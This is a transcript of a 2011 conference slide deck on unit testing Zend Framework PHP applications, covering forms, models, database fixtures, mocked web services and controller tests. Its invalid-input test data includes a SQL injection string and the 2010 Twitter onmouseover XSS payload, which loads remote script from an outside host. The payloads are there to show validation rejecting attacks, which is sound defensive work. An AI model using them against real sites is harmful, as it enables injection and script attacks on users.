Unit testing with zend framework tek11
-
Upload
michelangelo-van-dam -
Category
Technology
-
view
115 -
download
0
description
Transcript of Unit testing with zend framework tek11
Unit Testing with Zend Framework
TEK11, Chicago IL, USA
Michelangelo van Dam• Independent Consultant
• Zend Certified Engineer (ZCE)
• President of PHPBenelux
The saga continues…
Zend Webinar
http://www.zend.com/en/resources/webinars/framework
Any reasons not to test?
Most common excuses
• no time• not within budget• development team does not know how• tests are provided after delivery• …
NO EXCUSES!
The cost of bugs
0
25
50
75
100
Start Milestone1 Milestone2 Milestone3
Bugs Project Costs
The cost of bugs
0
25
50
75
100
Start Milestone1 Milestone2 Milestone3
Bugs Project Costs Unittests
Maintainability
• during development- test will fail indicating bugs
• after sales support- testing if an issue is genuine- fixing issues won’t break code base‣ if they do, you need to fix it!
• long term projects- refactoring made easy
Remember
“Once a test is made, it will always be tested!”
Confidence
• for the developer- code works
• for the manager- project succeeds
• for sales / general management / share holders- making profit
• for the customer- paying for what they want
Unit testing ZF apps
Setting things up
phpunit.xml<phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite>
<filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter>
</phpunit>
TestHelper.php<?php// set our app paths and environmentsdefine('BASE_PATH', realpath(dirname(__FILE__) . '/../'));define('APPLICATION_PATH', BASE_PATH . '/application');define('TEST_PATH', BASE_PATH . '/tests');define('APPLICATION_ENV', 'testing');
// Include pathset_include_path( . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path());
// Set the default timezone !!!date_default_timezone_set('Europe/Brussels');
// We wanna catch all errors en strict warningserror_reporting(E_ALL|E_STRICT);
require_once 'Zend/Application.php';$application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
$application->bootstrap();
Zend_Tool since 1.11.4
• provides• phpunit.xml• bootstrap.php• IndexControllerTest.php
Ralph Schindler
Start your engines!
http://www.flickr.com/photos/robdunckley/3781995277
Testing Zend_Form
CommentForm
Name:
E-mail Address:
Website:
Comment:
Post
Start with the test<?phpclass Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase{ protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; }
}
The good stuffpublic function goodData(){ return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), );}/** * @dataProvider goodData */public function testFormAcceptsValidData($name, $email, $web, $comment){ $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertTrue($this->_form->isValid($data));}
The bad stuffpublic function badData(){ return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 100000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), );}/** * @dataProvider badData */public function testFormRejectsBadData($name, $email, $web, $comment){ $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertFalse($this->_form->isValid($data));}
Create the form class<?php
class Application_Form_CommentForm extends Zend_Form{
public function init() { /* Form Elements & Other Definitions Here ... */ }
}
Let’s run the test
Let’s put in our elements<?php
class Application_Form_CommentForm extends Zend_Form{
public function init() { $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true)); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true)); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false)); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true)); $this->addElement('submit', 'post', array ( 'Label' => 'Post', 'Ignore' => true)); }
}
Less errors?
Filter - Validate$this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),));$this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),));$this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),));$this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000))),));
Green, warm & fuzzy
You’re a winner!
☑ quality code☑ tested☑ secure☑ reusable
Testing models
Testing business logic
• models contain logic- tied to your business- tied to your storage- tied to your resources
• no “one size fits all” solution
Type: data containers
• contains structured data- populated through setters and getters
• perform logic tied to it’s purpose- transforming data- filtering data- validating data
• can convert into other data types- arrays- strings (JSON, serialized, xml, …)
• are providers to other models
Comment Class
Writing model test<?phpclass Application_Model_CommentTest extends PHPUnit_Framework_TestCase{ protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); }}
This test won’t run!
Create a simple model<?php
class Application_Model_Comment{ protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( 'id' => $this->getId(), 'fullName' => $this->getFullName(), 'emailAddress' => $this->getEmailAddress(), 'website' => $this->getWebsite(), 'comment' => $this->getComment(), ); }}
We pass the test…
Really ???
Not all data from form!
• model can be populated from- users through the form- data stored in the database- a webservice (hosted by us or others)
• simply test it- by using same test scenario’s from our form
The good stuffpublic function goodData(){ return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), );}/** * @dataProvider goodData */public function testModelAcceptsValidData($name, $mail, $web, $comment){ $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail('Unexpected exception should not be triggered'); } $data['id'] = 0; $data['emailAddress'] = strtolower($data['emailAddress']); $data['website'] = strtolower($data['website']); $this->assertSame($this->_comment->toArray(), $data);}
The bad stuffpublic function badData(){ return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 1000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), );}/** * @dataProvider badData */public function testModelRejectsBadData($name, $mail, $web, $comment){ $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail('Expected exception should be triggered'); }
Let’s run it
Modify our modelprotected $_filters;protected $_validators;
public function __construct($params = null){ $this->_filters = array ( 'id' => array ('Int'), 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), 'comment' => array ('StringTrim', 'StripTags'), ); $this->_validators = array ( 'id' => array ('Int'), 'fullName' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'emailAddress' => array ( 'EmailAddress', new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'website' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'comment' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000)), ), ); if (null !== $params) { $this->populate($params); }}
Modify setters: Id & namepublic function setId($id){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('id' => $id)); if (!$input->isValid('id')) { throw new Zend_Exception('Invalid ID provided'); } $this->_id = (int) $input->id; return $this;}
public function setFullName($fullName){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('fullName' => $fullName)); if (!$input->isValid('fullName')) { throw new Zend_Exception('Invalid fullName provided'); } $this->_fullName = (string) $input->fullName; return $this;}
Email & websitepublic function setEmailAddress($emailAddress){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('emailAddress' => $emailAddress)); if (!$input->isValid('emailAddress')) { throw new Zend_Exception('Invalid emailAddress provided'); } $this->_emailAddress = (string) $input->emailAddress; return $this;}
public function setWebsite($website){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('website' => $website)); if (!$input->isValid('website')) { throw new Zend_Exception('Invalid website provided'); } $this->_website = (string) $input->website; return $this;}
and commentpublic function setComment($comment){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('comment' => $comment)); if (!$input->isValid('comment')) { throw new Zend_Exception('Invalid comment provided'); } $this->_comment = (string) $input->comment; return $this;}
Now we’re good!
Testing Databases
Integration Testing
• database specific functionality- triggers- constraints- stored procedures- sharding/scalability
• data input/output- correct encoding of data- transactions execution and rollback
Points of concern
• beware of automated data types- auto increment sequence ID’s- default values like CURRENT_TIMESTAMP
• beware of time related issues- timestamp vs. datetime- UTC vs. local time
The domain Model
• Model object• Mapper object• Table gateway object
Read more about it ☞
Change our test class
class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
becomes
class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
Setting DB Testing upprotected $_connectionMock;
public function getConnection(){ if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap->bootstrap('db'); $db = $this->bootstrap->getBootstrap()->getResource('db'); $this->_connectionMock = $this->createZendDbConnection( $db, 'zftest' ); return $this->_connectionMock; }}
public function getDataSet(){ return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));}
initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
Testing SELECTpublic function testDatabaseCanBeRead(){ $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}
selectDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
Testing UPDATEpublic function testDatabaseCanBeUpdated(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment('I like you picking up the challenge!'); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}
updateDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
Testing DELETEpublic function testDatabaseCanDeleteAComment(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}
deleteDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
Testing INSERTpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}
insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>
Run Test
What went wrong here?
AUTO_INCREMENT
Testing INSERT w/ filterpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array ('comment' => array ('id'))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $filteredDs);}
insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>
Run Test
Testing web services
Web services remarks
• you need to comply with an API- that will be your reference
• you cannot always make a test-call- paid services per call- test environment is “offline”- network related issues
Example: joind.in
JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }}
JoindinTestpublic function testJoindinCanGetUserDetails(){ $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual);}
public function testJoindinCanCheckStatus(){ $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual);}
Testing the service
Euh… what?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetailsFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <ID>19</ID>- <last_login>1303248639</last_login>+ <last_login>1303250271</last_login> </item> </response>
I recently logged in ✔
Euh… what?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetailsFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <ID>19</ID>- <last_login>1303248639</last_login>+ <last_login>1303250271</last_login> </item> </response>
I recently logged in ✔
And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatusFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <?xml version="1.0"?> <response>- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response>
Latency of the network 1s ☹
And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatusFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <?xml version="1.0"?> <response>- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response>
Latency of the network 1s ☹
Solution… right here!
Your expectations
JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }}
JoindinUserMockTestpublic function testJoindinCanGetUserDetails(){ $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml
<?xml version="1.0"?><response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item></response> EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual);}
JoindinStatusMockTestpublic function testJoindinCanCheckStatus(){ $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml
<?xml version="1.0"?><response> <dt>{$date->format('r')}</dt> <test_string>testing unit test</test_string></response> EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual);}
Good implementation?
Controller Testing
Our form flow
Setting up ControllerTest<?php
class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase{
public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); parent::setUp(); }}
Testing if form is on pagepublic function testIndexAction(){ $params = array( 'action' => 'index', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertQueryContentContains( 'h1#pageTitle', 'Please leave a comment'); $this->assertQueryCount('form#commentForm', 1);}
Test processingpublic function testProcessAction(){ $testData = array ( 'name' => 'testUser', 'mail' => '[email protected]', 'web' => 'http://www.example.com', 'comment' => 'This is a test comment', ); $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod('post'); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertResponseCode(302); $this->assertRedirectTo('/index/success'); $this->resetRequest(); $this->resetResponse(); $this->dispatch('/index/success'); $this->assertQueryContentContains('span#fullName', $testData['name']);}
REMARK
• data providers can be used- to test valid data- to test invalid data
• but we know it’s taken care of our model- just checking for error messages in form
Test if we hit homepublic function testSuccessAction(){ $params = array( 'action' => 'success', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/');}
Running the tests
Testing it all
Testing it all
Our progress report
Conclusion
• unit testing is simple• combine integration tests with unit tests• test what counts• mock out what’s remote
Thank you
• source code: http://github.com/DragonBe/zftest
• your rating:http://joind.in/3434
• follow me:- twitter: @DragonBe- facebook: DragonBe
Please use joind.in for feedback